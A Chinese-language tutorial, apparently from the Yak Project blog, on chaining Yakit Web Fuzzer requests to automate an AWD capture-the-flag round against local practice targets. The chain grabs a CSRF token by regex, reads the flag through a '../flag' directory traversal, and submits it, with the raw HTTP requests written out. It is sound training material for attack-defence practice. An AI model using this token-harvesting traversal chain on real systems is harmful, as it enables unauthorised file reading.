跳到主要内容

工程实践:AWD 场景下 Web Fuzzer 序列脚本构建

· 阅读需 4 分钟
Yak ProjectYak Project

前言

新发布的Web Fuzzer 序列 (Web Fuzzer Sequence),使用 Fuzzer 序列可以轻松构建一整个测试工作流。现在我们将综合利用 Yakit 现有的功能串联起 CSRF token 获取,flag 获取到提交 flag 这几个工作,最终快速构建起一个一键收割 flag 的 AWD 脚本。

在开始之前,先介绍一下测试环境。这是一个AWD靶场,平台在 127.0.0.1:8080,上面有目前三台靶机分别在127.0.0.1:8001 - 127.0.0.1:8083。他们都有一个目录穿越,但是有csrf token保护。

这篇文章将使用 Yakit 的能力快速构建一个攻击脚本。Fuzzer Tag 请求多个靶机

这里先整理好所有的靶机地址,并使用fuzztag按照行读取到host变量,host变量会被继承到后面的所有请求,因此只需要设置一次这个变量。

现在我们使用这个变量,向所有靶机同时发送请求,获取csrf token。

GET / HTTP/1.1
Content-Type: application/json
Host: {{p(host)}}

提取 CSRF Token

    <form action="/" method="post">
<input name="file">
<input hidden name="csrf" value="26e65b25-0bee-49d1-a8c2-13678a9e58f8">
<button type="submit">Submit</button>
</form>

可以使用正则表达式数据提取器从 form 中提取 csrf token。

这里添加一个正则类型的数据提取器,我们要的csrf token明显是一个uuid,这里写一个uuid的正则来来提取这一块内容。

提取结果:

获取 Flag 并提交

为了把csrf token传递到下一个请求中,先新建一个名为flag的请求,再在 fuzzer 序列的面板中设置变量向下传递。

此时,就可以在名为flag的请求中使用csrf这个变量了,现在我们构建请求:

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: {{p(host)}}

csrf={{p(csrf)}}&file=../flag

在这个请求中,使用fuzzer tag嵌入从上面获取的CSRF变量,打一个简单的目录穿越获取flag:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain; charset=utf-8
Last-Modified: Thu, 07 Sep 2023 06:38:32 GMT
Date: Thu, 07 Sep 2023 07:57:13 GMT
Content-Length: 42

flag{c369b72b-c776-4771-8d7c-a56bc7bb1e07}

body就是flag的内容,不过严谨起见,可以写一个flag的正则来提取flag。

下面构建第三个包,提交flag

大多数 AWD 平台都会提供使用 curl 提交 flag 的命令,可以使用yakit的curl转数据包功能快速构建出提交flag的数据包。

POST /pushflag HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost:8080
Content-Length: 18

flag=flag{example}

略作修改,使用变量替换示例flag:

POST /pushflag HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost:8080

flag={{p(flag)}}

顺利提交flag:

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Thu, 07 Sep 2023 08:03:21 GMT
Content-Length: 7

success

有什么优势吗?

  • 全程使用 GUI 操作,多数简单的测试,不用写一行代码
  • 可以配合 MITM 抓包使用,复杂包体不用自己构造,直接从 MITM 导入并修改变动部分即可
  • 支持使用 FuzzTag 嵌套的方式进行编解码,也可以使用热加载 Yaklang 进行任意复杂操作

为了方便使用,文章演示环境已上传 GitHub,有需要的读者可自行获取链接下载。

https://github.com/BaiMeow/TryYakitFuzzerSeri


本文首发于 Yak Project 公众号,阅读原文